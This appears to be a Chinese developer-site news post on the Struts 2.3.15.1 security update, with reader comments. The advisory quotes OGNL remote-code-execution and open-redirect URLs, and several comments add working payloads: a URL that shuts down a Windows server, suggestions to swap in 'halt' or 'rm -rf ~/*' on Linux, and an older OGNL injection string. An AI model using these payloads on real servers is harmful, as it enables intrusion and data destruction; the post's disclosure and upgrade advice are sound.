阅读更多

39顶
4踩

企业架构
Apache Struts团队6月底发布了Struts 2.3.15版本,由于该版本被发现存在重要的安全漏洞,因此该团队今天发布了Struts 2.3.15.1安全更新版本。



该版本修复的主要安全漏洞如下:

1.  通过在参数前面加上“action:”/“redirect:”/“redirectAction:”前缀,以实现远程代码执行,如下:

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}





2.  通过在参数前面加上“redirect:”/“redirectAction:”前缀,以实现开放式重定向,如下:

http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/

http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23




详细漏洞信息:

建议开发者将所有Struts 2应用程序升级至最新版本。

如果你从其他分支迁移至2.3.x分支,需要注意,该分支最低要求Servlet API 2.4、JSP API 2.0和Java 5。

下载地址:http://struts.apache.org/
  • 大小: 8.7 KB
  • 大小: 51.3 KB
  • 大小: 107.5 KB
  • 大小: 101.3 KB
39
4
评论 共 59 条 请登录后发表评论
59 楼 HelloRong 2013-08-26 10:38
Null Nnll
58 楼 dongjinsuo 2013-08-21 16:20
   
57 楼 fhtwins 2013-08-16 14:39
这个漏洞比前几年的Struts2的远程执行任意代码的漏洞:
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

还要可怕!

我在公司内网小试了一下,所以Struts2技术开发的WEB项目,全挂!
56 楼 ysm274376500 2013-07-24 12:59
补充一下:
  上面并不是说只要过滤action、redirect等就行,只是举个例子,关键是要过滤ognl表达式的非法数据。
55 楼 ysm274376500 2013-07-24 12:32
这种漏洞,可以采用Interceptor过滤

String hacker=ServletActionContext.getRequest().getQueryString();
		String resultstr = "success";
		if(hacker.indexOf("action:%{")>-1||hacker.indexOf("redirect:%{")>-1||hacker.indexOf("redirectAction:%{")>-1){
			invocation.getInvocationContext().getValueStack().set(
					"message", "You are a hacker?");
			return Action.ERROR;
		}
54 楼 wnli350 2013-07-24 09:41
aly_boy 写道
从副主编到上面详细解释的人,都真没有职业精神。

你什么时候见安全组织发布一个高危漏洞,同时还很详细的说明怎么来利用这个漏洞,卖弄技巧,不顾可能带来的后果。

你以为编辑们很牛B么,都是从官网拷的
53 楼 leeleo 2013-07-24 09:37
kylix_xp 写道
struts2这种垃圾框架早该废除了

那你先搞一个比这个好的出来,而且是开源的框架~~真是无语~
52 楼 venus224 2013-07-24 08:31
kylix_xp 写道
struts2这种垃圾框架早该废除了

对你无语
51 楼 kylix_xp 2013-07-23 15:27
struts2这种垃圾框架早该废除了
50 楼 leifeng2 2013-07-23 13:03
http://localhost:8080/context/aa.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}
系统架构:SSH,为什么我执行类似代码而没有反应?
49 楼 JianbinJava 2013-07-23 11:01
老闻了,,还新闻.
48 楼 bewithme 2013-07-23 10:51
gbwl_cgl 写道
venus224 写道
只有Struts 2.3.15版本会还是Struts 2.0的都会?

都会

没有吧,我在Struts2.1.8的版本上没试出问题
47 楼 diggywang 2013-07-22 15:59
sweat89 写道
SunZh 写道
问题很严重!仅供测试,不负责!
windows服务器关机命令:
http://localhost:8080/context/aa.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}   就可以关机

我擦 还真的可以。。。。。linux环境下呢


Linux一样啊,把('Shutdown','-s','-t','1')改成linux下的命令就行了,如果app是root起来的,直接改成halt,关机!或者rm -rf ~/*,删除home目录下用户所有数据;如果是root,呃,你可以格式化掉整个硬盘...
46 楼 mlw2000 2013-07-22 12:37
qiaoenxin 写道
struts2自从引入了ognl漏洞从来就没有消停过。万恶的ognl。请求参数的解析完全可以废弃ognl。重写参数拦截器才是解决问题的王道。彻底解决安全问题

+1 说白了就是要求把参数set到每个action的属性里去,这个事有必要动用ognl吗,动用ognl,但ognl表达式可以执行任意java代码,这就是问题的根源。
45 楼 qiaoenxin 2013-07-22 11:23
struts2自从引入了ognl漏洞从来就没有消停过。万恶的ognl。请求参数的解析完全可以废弃ognl。重写参数拦截器才是解决问题的王道。彻底解决安全问题
44 楼 kingxip 2013-07-22 08:19
sushi0k 写道
我把原来的Struts2.1.8升级到Struts2.3.15.1的时候遇到了一下问题,找不到解决办法:

在原来的项目中删除的包有:
asm-commons-2.2.3.jar
Commons-fileupload-1.2.jar
Commons-io-1.3.2.jar
Commons-logging-1.0.4.jar
Ognl-2.7.3.jar
Struts2-core-2.1.8.jar
Struts2-json-plugin-2.1.8.jar
Struts2-junit-plugin-2.2.1.jar
Struts2-spring-plugin-2.2.1.jar
Xwork-core-2.1.6.jar

新加进来的包有:
Asm-3.3.jar
Asm-commons-3.3.jar
Commons-fileupload-1.3.jar
Commons-io-2.0.1.jar
Commons-lang-2.4.jar
Commons-lang3-3.1.jar
Commons-logging-1.1.3.jar
Javassist-3.11.0.GA.jar
Ognl-3.0.6.jar
Struts2-core-2.3.15.1.jar
Struts2-json-plugin-2.3.15.1.jar
Struts2-junit-plugin-2.3.15.1.jar
Struts2-spring-plugin-2.3.15.1.jar
Xwork-core-2.3.15.1.jar

项目正常运行。
--------------------------------------------------------
遇到的问题,这个问题在版本更新之前是没有的:
路径A能够正常访问:
http://192.168.0.87/wx/wxtest.html?keyword=asdasd

对路径A进行了urlrewrite配置,如下:
<rule>
    <from>/wx/wxtest/(.*).html?(.*)</from>
    <to type="redirect">/wx/wxtest.html?keyword=$1&amp;asd=$2</to> 
</rule>


访问地址B测试:
http://192.168.0.87/wx/wxtest/aaa.html?bbb

参数keyword=aaa
参数asd=null

问题分析:进行urlrewrite配置后,请求路径中?后面的数据被过滤掉使Action不能正常获取。
但是没进行urlrewrite配置的路径中?后面的参数整个正常传递到Action。

不知道是哪里的问题?





这么长的问题你应该发到问答去比较好。
43 楼 zhujintaozhu 2013-07-21 15:07
玩儿大发了,赶紧改吧!
42 楼 xianqi_h 2013-07-21 12:42
同意找出漏洞,互联网公司涉及struts2的应该注意了。
41 楼 sushi0k 2013-07-20 17:31
我把原来的Struts2.1.8升级到Struts2.3.15.1的时候遇到了一下问题,找不到解决办法:

在原来的项目中删除的包有:
asm-commons-2.2.3.jar
Commons-fileupload-1.2.jar
Commons-io-1.3.2.jar
Commons-logging-1.0.4.jar
Ognl-2.7.3.jar
Struts2-core-2.1.8.jar
Struts2-json-plugin-2.1.8.jar
Struts2-junit-plugin-2.2.1.jar
Struts2-spring-plugin-2.2.1.jar
Xwork-core-2.1.6.jar

新加进来的包有:
Asm-3.3.jar
Asm-commons-3.3.jar
Commons-fileupload-1.3.jar
Commons-io-2.0.1.jar
Commons-lang-2.4.jar
Commons-lang3-3.1.jar
Commons-logging-1.1.3.jar
Javassist-3.11.0.GA.jar
Ognl-3.0.6.jar
Struts2-core-2.3.15.1.jar
Struts2-json-plugin-2.3.15.1.jar
Struts2-junit-plugin-2.3.15.1.jar
Struts2-spring-plugin-2.3.15.1.jar
Xwork-core-2.3.15.1.jar

项目正常运行。
--------------------------------------------------------
遇到的问题,这个问题在版本更新之前是没有的:
路径A能够正常访问:
http://192.168.0.87/wx/wxtest.html?keyword=asdasd

对路径A进行了urlrewrite配置,如下:
<rule>
    <from>/wx/wxtest/(.*).html?(.*)</from>
    <to type="redirect">/wx/wxtest.html?keyword=$1&amp;asd=$2</to> 
</rule>


访问地址B测试:
http://192.168.0.87/wx/wxtest/aaa.html?bbb

参数keyword=aaa
参数asd=null

问题分析:进行urlrewrite配置后,请求路径中?后面的数据被过滤掉使Action不能正常获取。
但是没进行urlrewrite配置的路径中?后面的参数整个正常传递到Action。

不知道是哪里的问题?




40 楼 mlw2000 2013-07-19 18:01
wangxiang243 写道

真可以!!我擦
webwork2会有这样的bug吗?

既然struts 2.0有,那么webwork2也很难幸免。
问题分析见:http://www.inbreak.net/archives/507
在Iteye上的转帖(及额外备注):http://www.iteye.com/topic/1131358

发表评论

您还没有登录,请您登录后再发表评论

相关推荐

  • linux struts2漏洞,Struts2漏洞分析,漏洞波及全系版本

    Struts漏洞分析Apache Struts团队已经发布了Struts 2.3.15.1安全更新版本。在Struts2.3.15.1版本之前,存在着严重的安全漏洞,如果现在一些比较大的网站是用JAVA做的,没有把版本升级,还用的是Strtus2.3.15.1版本...

  • 如何探测类似Struts 2的安全漏洞? JFrog Xray 帮你扫描漏洞,并阻止漏洞上线

    近期Struts 2的高危漏洞闹得沸沸扬扬,阿里云也发布了一则告警,提示 Struts 2存在高危漏洞,距离上一次 Struts2漏洞报出也就是半年前,于是我决定研究下漏洞形成的原理,后来的事实证明,收获不小! ...

  • Struts2重要漏洞

    转载: Struts2被曝重要漏洞,波及全系版本 Apache Struts团队6月底发布了Struts 2.3.15版本,由于该版本被发现存在重要的安全漏洞,因此该团队今天发布了Struts 2.3.15.1安全更新版本。  该版本修复的...

  • struts2 漏洞分析 及解决办法

    1.讨论关于struts 安全问题。 2.黑客文化。 3.如何降低安全漏洞的出现。 4.忠告建议。 题记: 这篇文章本来很早应该和大家见面的,中间由于个人原因调整了系列文章发布时间,实属罪过。为了不误导...

  • struts2 最新漏洞 S2

    昨天struts2爆了一个好大的漏洞,用道哥的话来说就是:“今天下午整个中国的黑客圈像疯了一样开始利用这个漏洞黑网站...Struts2被曝重要漏洞,波及全系版本 官方描述: S2-016:https://cwiki.apache.org/conflu

  • 知道struts2-s2-016-s2-017漏洞之感

    当然这个漏洞应该波及了很多公司,Struts2的流通性太大了,导致很多人关注它,很多人都搞它,漏洞也发现得快,不过反过来想想,有这么多人关注,一点会很快的茁壮成长的吧。不过再这样一而再,再而三的来漏洞,大家...

  • struts2漏洞原理及解决办法

    Struts2被曝存在重大远程任意代码执行安全漏洞,影响Struts2全系版本。而对于此次堪比棱镜事件的危害,安全宝指出,众多大型互联网厂商均存在该漏洞,且影响厂商仍在扩大之中。同时漏洞利用代码已经被强化,可直接通过...

  • 程序世界系列之-struts2安全漏洞引发的安全杂谈(上)

    1.讨论关于struts 安全问题。 2.黑客文化。 3.如何降低安全漏洞的出现。 4.忠告建议。 题记: 这篇文章本来很早应该和大家见面的,中间由于个人原因调整了系列文章发布时间,实属罪过。为了不误导大众文章中间...

  • struts2 最新漏洞 S2-016、S2-017修补方案

    昨天struts2爆了一个好大的漏洞,用道哥的话来说就是:“今天下午整个中国的黑客圈像疯了一样开始利用这...Struts2被曝重要漏洞,波及全系版本 官方描述: S2-016:https://cwiki.apache.org/confluence/display/W...

  • 互联网惨遭Struts高危漏洞摧残

    从7.17号开始,乌云网(www.wooyun.org)开始爆各大网站的struts漏洞。 关于Struts Struts 框架是Apache基金会Jakarta项目组的一个 Open Source项目,它采用MVC模式,帮助 java 开发者利用J2EE开发Web...

  • OFDM、OOK、PPM、QAM 的误码率模拟【绘制不同调制方案的误码率曲线】附Matlab代码.rar

    1.版本:matlab2014/2019a/2024a 2.附赠案例数据可直接运行matlab程序。 3.代码特点:参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象:计算机,电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。

  • 8c71b76fb2ec10cf50fc6b0308d3dcfc_9545878e2b97a84b2e089ece58da9e82.png

    8c71b76fb2ec10cf50fc6b0308d3dcfc_9545878e2b97a84b2e089ece58da9e82

  • Android SO逆向-对象的拷贝构造函数.pdf

    Android逆向过程学习

  • 基于S7-200 PLC的糖果包装控制系统设计与实现

    内容概要:本文详细介绍了基于西门子S7-200 PLC的糖果包装控制系统的设计与实现。首先阐述了PLC在工业自动化领域的优势及其在糖果包装生产线中的重要性。接着深入探讨了系统的硬件连接方式,包括传感器、执行机构与PLC的具体接口配置。随后展示了关键的编程实现部分,如糖果计数、包装执行、送膜控制、称重判断以及热封温度控制等具体梯形图代码片段。此外,还分享了一些实用的经验技巧,如防止信号抖动、PID参数优化、故障诊断方法等。最后总结了该系统的优势,强调其对提高生产效率和产品质量的重要作用。 适合人群:从事工业自动化控制、PLC编程的技术人员,尤其是对小型PLC系统感兴趣的工程师。 使用场景及目标:适用于糖果制造企业,旨在提升包装生产线的自动化程度,确保高效稳定的生产过程,同时降低维护成本并提高产品一致性。 其他说明:文中不仅提供了详细的理论讲解和技术指导,还结合实际案例进行了经验分享,有助于读者更好地理解和掌握相关知识。

  • PLC与WinCC实现三部十层电梯协同控制及优化技巧

    内容概要:本文详细介绍了参与西门子杯比赛中关于三部十层电梯系统的博图V15.1程序设计及其WinCC画面展示的内容。文中不仅展示了电梯系统的基本架构,如抢单逻辑、方向决策、状态机管理等核心算法(采用SCL语言编写),还分享了许多实际调试过程中遇到的问题及解决方案,例如未初始化变量导致的异常行为、状态机遗漏空闲状态、WinCC画面动态显示的挑战以及通信配置中的ASCII码解析错误等问题。此外,作者还特别提到一些创意性的设计,如电梯同时到达同一层时楼层显示器变为闪烁爱心的效果,以及节能模式下电梯自动停靠中间楼层的功能。 适合人群:对PLC编程、工业自动化控制、电梯调度算法感兴趣的工程技术人员,尤其是准备参加类似竞赛的学生和技术爱好者。 使用场景及目标:适用于希望深入了解PLC编程实践、掌握电梯群控系统的设计思路和技术要点的人士。通过学习本文可以更好地理解如何利用PLC进行复杂的机电一体化项目的开发,提高解决实际问题的能力。 其他说明:文章风格幽默诙谐,将严肃的技术话题融入轻松的生活化比喻之中,使得原本枯燥的专业知识变得生动有趣。同时,文中提供的经验教训对于从事相关领域的工作者来说非常宝贵,能够帮助他们少走弯路并激发更多创新思维。

  • 慧荣量产工具合集.zip

    慧荣量产工具合集.zip

  • 永磁同步电机FOC控制与SVPWM算法仿真模型解析

    内容概要:本文详细介绍了永磁同步电机(PMSM)的FOC(磁场定向控制)和SVPWM(空间矢量脉宽调制)算法的仿真模型。首先解释了FOC的基本原理及其核心的坐标变换(Clark变换和Park变换),并给出了相应的Python代码实现。接下来探讨了SVPWM算法的工作机制,包括扇区判断和占空比计算的方法。此外,文章还讨论了电机的PI双闭环控制结构,即速度环和电流环的设计与实现。文中不仅提供了详细的理论背景,还分享了一些实用的编程技巧和注意事项,帮助读者更好地理解和应用这些算法。 适合人群:电气工程专业学生、从事电机控制系统开发的技术人员以及对永磁同步电机控制感兴趣的科研人员。 使用场景及目标:① 学习和掌握永磁同步电机的FOC控制和SVPWM算法的具体实现;② 提供丰富的代码示例和实践经验,便于快速搭建和调试仿真模型;③ 探讨不同参数设置对电机性能的影响,提高系统的稳定性和效率。 其他说明:文章强调了在实际应用中需要注意的一些细节问题,如坐标变换中的系数选择、SVPWM算法中的扇区判断优化以及PI控制器的参数调整等。同时,鼓励读者通过动手实验来加深对各个模块的理解。

  • spring-ai-qianfan-1.0.0-M5.jar中文文档.zip

    # 压缩文件中包含: 中文文档 jar包下载地址 Maven依赖 Gradle依赖 源代码下载地址 # 本文件关键字: jar中文文档.zip,java,jar包,Maven,第三方jar包,组件,开源组件,第三方组件,Gradle,中文API文档,手册,开发手册,使用手册,参考手册 # 使用方法: 解压最外层zip,再解压其中的zip包,双击 【index.html】 文件,即可用浏览器打开、进行查看。 # 特殊说明: ·本文档为人性化翻译,精心制作,请放心使用。 ·只翻译了该翻译的内容,如:注释、说明、描述、用法讲解 等; ·不该翻译的内容保持原样,如:类名、方法名、包名、类型、关键字、代码 等。 # 温馨提示: (1)为了防止解压后路径太长导致浏览器无法打开,推荐在解压时选择“解压到当前文件夹”(放心,自带文件夹,文件不会散落一地); (2)有时,一套Java组件会有多个jar,所以在下载前,请仔细阅读本篇描述,以确保这就是你需要的文件;

Global site tag (gtag.js) - Google Analytics